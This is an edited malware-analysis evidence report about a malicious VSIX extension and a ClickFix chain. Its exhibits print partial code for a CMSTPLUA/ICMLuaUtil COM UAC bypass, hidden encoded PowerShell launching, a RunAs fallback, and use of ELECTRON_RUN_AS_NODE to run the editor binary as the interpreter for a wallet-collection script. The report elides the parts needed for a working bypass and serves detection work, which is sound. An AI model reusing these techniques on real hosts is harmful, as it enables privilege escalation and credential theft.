E19. Windows elevation and Electron execution analysis

Ilja Krasnjanski
24 October 2026 · Edited evidence report
Historical evidence through 24 July 2026; later engineering checks identified separately.

This report synthesizes the cited case records. Exhibits distinguish retained artifact excerpts from secondary analytical records and claims whose original inputs are unavailable. Excerpts may be redacted or reformatted; extraction methods and limitations are stated locally. Fingerprints identify inputs, not the truth of their claims. Bracketed S labels identify the analysis records listed at the end.

Examined branches

The 22 July record compares decrypted Windows pipeline source from the VSIX with the ClickFix stage-three JavaScript. Both contain a COM-elevation script builder and subsequent interpreter-launch logic. The analysis was static on Linux; no Windows elevation or collection was reproduced. [S1]

Elevation attempt

The recovered builder constructs a PowerShell request for an elevated COM object associated with CMSTPLUA and the ICMLuaUtil interface. Interface identifiers are assembled from numeric components. A runtime-created delegate invokes the relevant shell-execution method. These details establish an implemented attempt; they do not establish successful elevation on every Windows host. [S1]

The source record describes a visible RunAs fallback in the VSIX pipeline. The ClickFix branch additionally includes repeated attempts and a completion-sentinel check. Such fallbacks show that failure is anticipated. Windows version, user group, UAC configuration, policy and process context can change the outcome.

Editor runtime

The subsequent script sets `ELECTRON_RUN_AS_NODE` and uses the editor executable as a JavaScript interpreter. The path is derived from the process executable in the extension context. This can place an editor binary in the collection process tree while avoiding a separate Node executable for that branch. It does not imply compromise of the editor vendor or a modified editor signature. [S1]

The collection pipeline then invokes a Python component for browser-related decryption. Elevation and browser decryption are separate operations with separate preconditions; successful elevation would not alone prove recovery of App-Bound Encryption material.

Detection evidence and limits

Relevant observations include editor-to-PowerShell ancestry, an unexpectedly elevated editor interpreter, unusual script arguments and later credential-store access. Publisher trust alone is insufficient to describe the executed script, but the record does not prove that every allowlisting policy would permit it. The ClickFix and extension entry points need not produce identical ancestry.

The report omits a runnable elevation sequence. It records the static mechanism and its dependencies, not a demonstrated universal bypass or successful infection. Decrypted artifact identities and the historical authentication result are given in E04.

Exhibits

Exhibit E19-1. COM builder — CMSTPLUA moniker and ICMLuaUtil IID assembled from numeric fields

Artifact: windows-js-pipeline.js (decrypted VSIX payload) · 32,324 bytes · SHA-256
`bf820623e8deaa37092650c7fae594e56b8d81c27b541419006cca2d0536353b`
Location: `buildCOMElevationScript()`, lines 335-375
Extraction: `sed -n '335,375p' windows-js-pipeline.js` (static read; nothing executed)
Supports: "COM object associated with CMSTPLUA and the ICMLuaUtil interface … identifiers assembled from numeric components"

```
function buildCOMElevationScript(exePath, exeArgs) {
  const elevFn = `function F{param([String]$src,[String]$arg)
  …[elided: ole32 P/Invoke declarations and COM init]…
$g=New-Object _s1
$g.u1=0x6EDD6D74
$g.u2=0xC007
$g.u3=0x4E75
$g.bt=[byte[]](0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4c)
$hr=$x::($me[2])('Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}',\
                 $p2,$g,[ref]$pv)
if($hr -ne 0){exit 1}
  …[elided: vtable index 9 resolution, runtime delegate emit, ShellExec invoke]…
```

The IID `{6EDD6D74-C007-4E75-B76A-E5740995E24C}` (ICMLuaUtil) is built field-by-field from the numeric components `u1/u2/u3/bt` so the GUID never appears as a contiguous string; the CLSID `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` (CMSTPLUA) appears inside the `Elevation:Administrator!new:` moniker. These identifiers and the moniker string are published detection IOCs and are shown verbatim. The P/Invoke setup, the raw vtable-offset dispatch (`func[9]` = ShellExec), and the `Reflection.Emit` delegate build/invoke are elided so the excerpt cannot be assembled into a working bypass.

Exhibit E19-2. ELECTRON_RUN_AS_NODE + process.execPath — editor binary as interpreter

Artifact: windows-js-pipeline.js · 32,324 bytes · SHA-256
`bf820623e8deaa37092650c7fae594e56b8d81c27b541419006cca2d0536353b`
Location: `runPhase2Elevated()`, lines 393-409
Extraction: `sed -n '393,409p' windows-js-pipeline.js`
Supports: "sets ELECTRON_RUN_AS_NODE and uses the editor executable as a JavaScript interpreter … path derived from the process executable"

```
function runPhase2Elevated(agentScriptPath, sourceHome, resultFile, serverUrl) {
  const home = sourceHome || process.env.USERPROFILE || "";
  const nodeExe = process.execPath;
  …
  const ps1Lines = [
    "$ErrorActionPreference = 'Continue'",
    "$env:ELECTRON_RUN_AS_NODE = '1'",
    `$gusHome = '${esc(home)}'`,
    `$gusUrl = '${esc(serverUrl)}'`,
    `$gusResult = '${esc(resultFile)}'`,
    `& '${esc(nodeExe)}' '${esc(agentScriptPath)}' --company-wallet-job \
        "--cw-source-home=$gusHome" "--cw-server-url=$gusUrl" "--cw-result-file=$gusResult"`,
  ];
  const tmpPs1 = path.join(os.tmpdir(), `gus-phase2-${Date.now()}.ps1`);
```

`process.execPath` resolves to the host editor binary (Cursor.exe / Code.exe) inside the extension host; `ELECTRON_RUN_AS_NODE=1` makes it behave as a Node interpreter for the agent script. Verbatim; the `&`-invocation line was hard-wrapped with a trailing `\` for width. The temp script path `%TEMP%\gus-phase2-<epoch>.ps1` is the Medium-fidelity file IOC. No redaction.

Exhibit E19-3. The visible RunAs fallback

Artifact: windows-js-pipeline.js · 32,324 bytes · SHA-256
`bf820623e8deaa37092650c7fae594e56b8d81c27b541419006cca2d0536353b`
Location: `runPhase2Elevated()`, lines 416-434
Extraction: `sed -n '416,434p' windows-js-pipeline.js`
Supports: "a visible RunAs fallback in the VSIX pipeline … failure is anticipated"

```
  try {
    pipelineLog("phase2: attempting COM moniker UAC bypass");
    const script = buildCOMElevationScript(psExe, psFileArgs);
    const enc = psUTF16Base64(script);
    execFileSync(psExe, ["-NoProfile", "-WindowStyle", "Hidden", "-EncodedCommand", enc], \
      { … });
    comOk = true;
  } catch (e) {
    …
  }
  if (!comOk) {
    pipelineLog("phase2: falling back to Start-Process -Verb RunAs (UAC prompt)");
    const runAsCmd = `Start-Process -FilePath '${esc(psExe)}' -ArgumentList \
        …,'-File','${esc(tmpPs1)}' -Verb RunAs -WindowStyle Hidden -Wait`;
```

On COM failure the pipeline falls back to `Start-Process … -Verb RunAs`, which raises a visible UAC prompt — the operators accept a prompt rather than lose the phase. Verbatim; the argument list was abbreviated with … and the command hard-wrapped for width (tokens unchanged). The `-EncodedCommand` payload bytes are not reproduced.

Exhibit E19-4. Shared operator tooling — ClickFix stage3 retry loop and completion sentinel

Artifact: stage3.js (ClickFix chain) · 1,140,214 bytes · SHA-256
`694626bed2df1f0d0026a3f7ead7692b44c7e73041cdd799b79a025335533cdc`
Location: `winRunElevatedPSComAttempt()` / `winRunElevatedPS()`, lines 4353-4416
Extraction: `sed -n '4353,4416p' stage3.js`
Supports: "ClickFix branch additionally includes repeated attempts and a completion-sentinel check"; same CLSID/IID across both chains

```
function winRunElevatedPSComAttempt(script, maxWaitMs) {
  …
  const doneSentinel = path.join(os.tmpdir(), `sa-elev-done-${ts}.txt`);
    const scriptWithSentinel = script + `; [IO.File]::WriteAllText('${sentinelEsc}','OK')`;
    …
    while (waitMs < maxWait) {
      try { if (fs.existsSync(doneSentinel)) break; } catch (_) {}
      winSleepMs(pollMs);              // pollMs = 500
      waitMs += pollMs;
    }
  …
function winRunElevatedPS(script, maxWaitMs, opts) {
  const comRetries = Math.max(1, Math.min(Number(opts && opts.comRetries) || 3, 6));
  …
  for (let attempt = 1; attempt <= comRetries; attempt++) {
    if (attempt > 1) { …; winSleepMs(1500); }
    if (winRunElevatedPSComAttempt(script, maxWait)) { … return true; }
  }
```

stage3.js calls the same `buildCOMElevationScript` (identical CLSID `{3E5FC7F9-…}`, IID `{6EDD6D74-…}`, moniker) but adds up to 3 attempts (configurable to 6), 1.5 s apart, and confirms success out-of-band by polling for a sentinel file `%TEMP%\sa-elev-done-<epoch>.txt` written with `'OK'`. Verbatim excerpt, abbreviated with …; the elevation-script body is in E19-1 and not repeated. No redaction.

Exhibit E19-5. stage3 Electron LOLBIN — same ELECTRON_RUN_AS_NODE + process.execPath pattern

Artifact: stage3.js (ClickFix chain) · 1,140,214 bytes · SHA-256
`694626bed2df1f0d0026a3f7ead7692b44c7e73041cdd799b79a025335533cdc`
Location: `runPhase2WindowsCOMElevated()`, lines 4505-4513
Extraction: `sed -n '4505,4513p' stage3.js`
Supports: the editor-as-Node interpreter pattern is shared operator tooling, not per-campaign work

```
const nodeExe = process.execPath;
…
const setupScript = [
  "$ErrorActionPreference='Continue'",
  "$env:ELECTRON_RUN_AS_NODE='1'",
  `$env:OVERLORD_WIN_EP_OUT='${esc(epOut)}'`,
  `& '${esc(nodeExe)}' '${esc(scriptPath)}' --win-build-ep-only`,
].join("; ");
```

The ClickFix branch uses the identical `process.execPath` + `ELECTRON_RUN_AS_NODE=1` technique with a `--win-build-ep-only` argument and the `OVERLORD_WIN_EP_OUT` environment variable (both IOCs). Verbatim. No redaction.

Claims without a retained primary artifact

- Detection observations ("editor-to-PowerShell ancestry, an unexpectedly elevated editor interpreter, unusual script arguments and later credential-store access"): these are expected runtime behaviours. No victim/host telemetry is retained in the workspace; they are derived from the static code paths in E19-1/2/3/5, not from a recorded execution.
- "Successful elevation on every Windows host": explicitly not claimed; outcome depends on UAC configuration and user group. The code establishes the implemented attempt only.

Exhibit inputs

Retained inputs identified by size and SHA-256. These include artifacts and analytical records; each exhibit identifies its evidence type and extraction limitations. The files themselves are not distributed.

windows-js-pipeline.js (decrypted VSIX payload, COM elevation + Electron LOLBIN) · 32,324 bytes

`SHA-256 bf820623e8deaa37092650c7fae594e56b8d81c27b541419006cca2d0536353b`

stage3.js (ClickFix chain stage-three JavaScript, shared elevation tooling) · 1,140,214 bytes

`SHA-256 694626bed2df1f0d0026a3f7ead7692b44c7e73041cdd799b79a025335533cdc`

Source records and fingerprints

SHA-256 identifies the reviewed source bytes, not acquisition time or every artifact described. Restricted originals are not reproduced.

[S1] Windows COM and Electron analysis, 22 July 2026 · 11,931 bytes

`SHA-256 202e0e73ad9c2092943f5caa52f4e6901165807ded2cf07371c0a73e60a98316`